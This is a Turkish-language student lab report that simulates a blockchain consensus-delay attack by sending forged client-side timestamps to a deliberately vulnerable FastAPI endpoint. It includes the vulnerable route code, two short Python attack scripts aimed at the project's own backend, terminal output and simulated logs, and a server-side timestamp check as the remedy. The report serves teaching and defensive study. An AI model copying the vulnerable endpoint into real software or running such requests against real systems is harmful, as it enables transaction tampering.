



Blockchain Konsensüs Gecikmesi Saldırısı

Zaman Manipülasyonu Tabanlı Simülasyon Analizi

Senaryo ID: beyza-blockchain-delay

Hazırlayan: Beyza

Platform: EVCS Anomaly Simulation Platform

Tarih: 2025

1. GİRİŞ

Blockchain teknolojisi, dağıtık sistemlerde güvenli ve değiştirilemez kayıt tutmayı amaçlayan bir yapıdır.

Bu yapının temelinde **konsensüs mekanizmaları** yer almaktadır. Konsensüs, ağdaki tüm düğümlerin (node) aynı blok zinciri durumunda uzlaşmasını sağlar.

Ancak bazı blockchain uygulamalarında **zaman damgası (timestamp)** doğrulamasının eksik veya hatalı yapılması, konsensüs mekanizmasının istismar edilmesine yol açabilmektedir.

Bu çalışmada, istemci tarafından kontrol edilen zaman bilgileri kullanılarak gerçekleştirilen bir **konsensüs gecikmesi (consensus delay)** saldırısı simülasyon ortamında incelenmiştir.

2. TEORİK ARKA PLAN

2.1 Blockchain'de Konsensüs Mekanizması

Konsensüs mekanizmaları:

- Blokların hangi sırayla ekleneceğini
- İşlemlerin geçerli olup olmadığını
- Ağ senkronizasyonunu belirler.

Zaman damgaları, blok üretiminde ve onay sürecinde kritik rol oynar.

2.2 Timestamp Manipulation Zafiyeti

Bazı sistemlerde:

- Timestamp doğrudan istemciden alınır
- Sunucu tarafında yeterli doğrulama yapılmaz

Bu durum:

- Blok onay sürelerinin uzamasına
- Orphan block (yetim blok) oluşumuna
- Konsensüs gecikmesine sebep olabilir.

3. SİSTEM VE SENARYO TANIMI

3.1 Simülasyon Ortamı

- **Backend:** FastAPI tabanlı
- **Frontend:** Next.js + Vercel
- **Simülasyon Arayüzü:**
<https://simulasyon.vercel.app>

```
@router.post("/blockchain-transaction")
def submit_blockchain_tx(transaction: dict, timestamp: int):
    """
    current_time = int(time.time())
    time_diff = current_time - timestamp

    return {
        "transaction_id": f"TX-{timestamp}",
        "submitted_timestamp": timestamp,
        "server_time": current_time,
        "time_difference_seconds": time_diff,
        "vulnerability": "Client-controlled timestamp!",
        "warning": "Can manipulate block confirmation times"
    }
```

Bu kodda:

- Timestamp istemciden alınmakta
- Zaman farkı hesaplanmakta
- Ancak herhangi bir engelleme yapılmamaktadır

4. SALDIRI YÖNTEMİ

4.1 Zaman Manipülasyonu (Time Travel Attack)

Saldırgan, geçmişe ait bir zaman damgası göndererek blok zincirinin zaman algısını bozmaktadır.

Amaçlar:

- Blok onaylarını geciktirmek
- İşlem sırasını bozmak
- Konsensüs kararsızlığı oluşturmak

4.2 Konsensüs Gecikmesi Saldırısı

Birden fazla işlem, farklı zaman ofsetleriyle gönderilerek ağda:

- Konsensüs gecikmesi
- Orphan block oluşumu
- Sistem loglarında anomali yaratılmaktadır.

5. DENEYSEL SONUÇLAR VE SİMÜLASYON ÇIKTILARI

5.1 Terminal Çıktıları

Saldırı sırasında sistem aşağıdaki yanıtları vermiştir:

```
PS C:\Users\Beyza\Desktop\simulasyon\attacks> python .\time_travel.py
ZAMAN MANIPULASYONU SALDIRISI

Su an: 1766589507
Gonderilen Zaman: 1766585907 (1 saat once)

Sunucu Cevabi:
{'transaction_id': 'TX-1766585907', 'submitted_timestamp': 1766585907, 'server_time': 1766589507, 'time_difference_seconds': 3600, 'vulnerability': 'Client-controlled timestamp!', 'warning': 'Can manipulate block confirmation times'}
PS C:\Users\Beyza\Desktop\simulasyon\attacks> |
```

Bu çıktı:

- Zaman farkının 1 saat olduğunu
- Sunucunun bu durumu kabul ettiğini
- Zafiyetin aktif olduğunu göstermektedir.

5.2 Simülasyon Logları

Simülasyon sırasında sistem loglarında aşağıdaki uyarılar gözlemlenmiştir:

```
SYSTEM LOGS

34 EVENTS
10:48:01systemStarting simulation for beyza-blockchain-delay...
10:48:02INFOCSMS received Heartbeat from EVSE-001
10:48:02INFOCSMS received Heartbeat from EVSE-002
10:48:02WARNConsensus delay detected. Block orphaned.
10:48:03WARNConsensus delay detected. Block orphaned.
10:48:04WARNConsensus delay detected. Block orphaned.
10:48:05WARNConsensus delay detected. Block orphaned.
10:48:07INFOCSMS received Heartbeat from EVSE-001
10:48:07INFOCSMS received Heartbeat from EVSE-002
10:48:07WARNConsensus delay detected. Block orphaned.
10:48:08WARNConsensus delay detected. Block orphaned.
```

Bu log, konsensüs mekanizmasının bozulduğunu ve yetim blok oluştuğunu göstermektedir.

5.3 Görsel Çıktı

Şekil 3 – Blockchain Konsensüs Gecikmesi Simülasyon Çıktısı

```
SYSTEM LOGS

34 EVENTS
10:48:01systemStarting simulation for beyza-blockchain-delay...
10:48:02INFOCSMS received Heartbeat from EVSE-001
10:48:02INFOCSMS received Heartbeat from EVSE-002
10:48:02WARNConsensus delay detected. Block orphaned.
10:48:03WARNConsensus delay detected. Block orphaned.
10:48:04WARNConsensus delay detected. Block orphaned.
10:48:05WARNConsensus delay detected. Block orphaned.
10:48:07INFOCSMS received Heartbeat from EVSE-001
10:48:07INFOCSMS received Heartbeat from EVSE-002
10:48:07WARNConsensus delay detected. Block orphaned.
10:48:08WARNConsensus delay detected. Block orphaned.
10:48:09WARNConsensus delay detected. Block orphaned.
10:48:10WARNConsensus delay detected. Block orphaned.
10:48:11WARNConsensus delay detected. Block orphaned.
10:48:12INFOCSMS received Heartbeat from EVSE-001
10:48:12INFOCSMS received Heartbeat from EVSE-002
10:48:13WARNConsensus delay detected. Block orphaned.
10:48:14WARNConsensus delay detected. Block orphaned.
10:48:15WARNConsensus delay detected. Block orphaned.
10:48:16WARNConsensus delay detected. Block orphaned.
10:48:17INFOCSMS received Heartbeat from EVSE-001
10:48:17INFOCSMS received Heartbeat from EVSE-002
10:48:17WARNConsensus delay detected. Block orphaned.
10:48:18WARNConsensus delay detected. Block orphaned.
10:48:21WARNConsensus delay detected. Block orphaned.
10:48:22INFOCSMS received Heartbeat from EVSE-001
10:48:22INFOCSMS received Heartbeat from EVSE-002
10:48:22WARNConsensus delay detected. Block orphaned.
10:48:23WARNConsensus delay detected. Block orphaned.
10:48:25WARNConsensus delay detected. Block orphaned.
10:48:27INFOCSMS received Heartbeat from EVSE-001
10:48:27INFOCSMS received Heartbeat from EVSE-002
10:48:27WARNConsensus delay detected. Block orphaned.
10:48:28WARNConsensus delay detected. Block orphaned.
```

```
PS C:\Users\Beyza\Desktop\simulasyon\attacks> python .\time_travel.py
ZAMAN MANIPULASYONU SALDIRISI

Su an: 1766562492
Gonderilen Zaman: 1766558892 (1 saat once)

Sunucu Cevabi:
{'transaction_id': 'TX-1766558892', 'submitted_timestamp': 1766558892, 'server_time': 1766562492, 'ds': 3600, 'vulnerability': 'Client-controlled timestamp!', 'warning': 'Can manipulate block confi
PS C:\Users\Beyza\Desktop\simulasyon\attacks> python consensus_attack.py
KONSENSUS SALDIRISI BASLIYOR

Istek 1 | Offset: 3338s | Cevap: Can manipulate block confirmation times
Istek 2 | Offset: -203s | Cevap: Can manipulate block confirmation times
Istek 3 | Offset: 1998s | Cevap: Can manipulate block confirmation times
Istek 4 | Offset: 1486s | Cevap: Can manipulate block confirmation times
Istek 5 | Offset: 3975s | Cevap: Can manipulate block confirmation times
Istek 6 | Offset: -7184s | Cevap: Can manipulate block confirmation times
Istek 7 | Offset: -6546s | Cevap: Can manipulate block confirmation times
Istek 8 | Offset: 4909s | Cevap: Can manipulate block confirmation times
Istek 9 | Offset: -1381s | Cevap: Can manipulate block confirmation times
Istek 10 | Offset: -4438s | Cevap: Can manipulate block confirmation times
PS C:\Users\Beyza\Desktop\simulasyon\attacks>
```

Bu görselde:

- Konsensüs gecikmesi uyarıları
- Orphan block oluşumu
- Terminalden gerçekleştirilen saldırı istekleri aynı anda gözlemlenmektedir.

6. SALDIRININ BAŞARISININ DEĞERLENDİRİLMESİ

Saldırı aşağıdaki kriterlere göre başarılı kabul edilmiştir:

- ✓ İstemci kontrollü timestamp kabul edildi
- ✓ Konsensüs gecikmesi loglara yansıdı
- ✓ Orphan block üretildi
- ✓ Sistem saldırıyı engellemedi

7. SAVUNMA VE ÖNERİLER

7.1 Güvenli Timestamp Doğrulaması

```
server_time = int(time.time())
if abs(server_time - client_time) > 120:
    raise Exception("Invalid timestamp")
```

7.2 Genel Güvenlik Önlemleri

- Timestamp sunucu tarafından üretilmelidir
- Konsensüs tolerans aralıkları sınırlandırılmalıdır
- Anomali tespit mekanizmaları güçlendirilmelidir

8. SONUÇ

Bu çalışmada, timestamp doğrulaması eksik olan bir blockchain uygulamasında **konsensüs gecikmesi saldırısı** başarıyla simüle edilmiştir.

Elde edilen sonuçlar, zaman tabanlı zafiyetlerin blockchain sistemlerinde ciddi kararsızlıklara yol açabileceğini göstermektedir.

EKLER

Ek A – Zaman Manipülasyonu Saldırı Kodu (time_travel.py)

```
attacks > routes_vulnerable.py time_travel.py U consensus_attack.py U
1  import requests
2  import time
3
4  BACKEND = "https://evcs-backend-samet.onrender.com"
5
6  print("ZAMAN MANIPULASYONU SALDIRISI\n")
7
8  now = int(time.time())
9  print(f"Su an: {now}")
10
11  fake_time = now - 3600 # 1 saat gecmis
12
13  transaction = {
14      "from": "0xHacker",
15      "to": "0xVictim",
16      "amount": 100
17  }
18
19  print(f"Gonderilen Zaman: {fake_time} (1 saat once)")
20
21  r = requests.post(
22      f"{BACKEND}/vulnerable/blockchain-transaction",
23      params={"timestamp": fake_time}, # 🔥 KRITIK SATIR
24      json={"transaction": transaction}
25  )
26
27  print("\nSunucu Cevabi:")
28  print(r.json())
```

Ek B – Konsensüs Gecikmesi Saldırı Kodu (consensus_attack.py)

```
attacks > consensus_attack.py > ...
1  import requests
2  import time
3  import random
4
5  BACKEND = "https://evcs-backend-samet.onrender.com"
6
7  print("KONSENSUS SALDIRISI BASLIYOR\n")
8
9  for i in range(10):
10      offset = random.randint(-7200, 7200) # -2 saat ile +2 saat
11      fake_time = int(time.time()) + offset
12
13      transaction = {
14          "id": i,
15          "data": "consensus_attack"
16      }
17
18      r = requests.post(
19          f"{BACKEND}/vulnerable/blockchain-transaction",
20          params={"timestamp": fake_time},
21          json={"transaction": transaction}
22      )
23
24      print(f"Istek {i+1} | Offset: {offset}s | Cevap: {r.json().get('warning')}")
25
```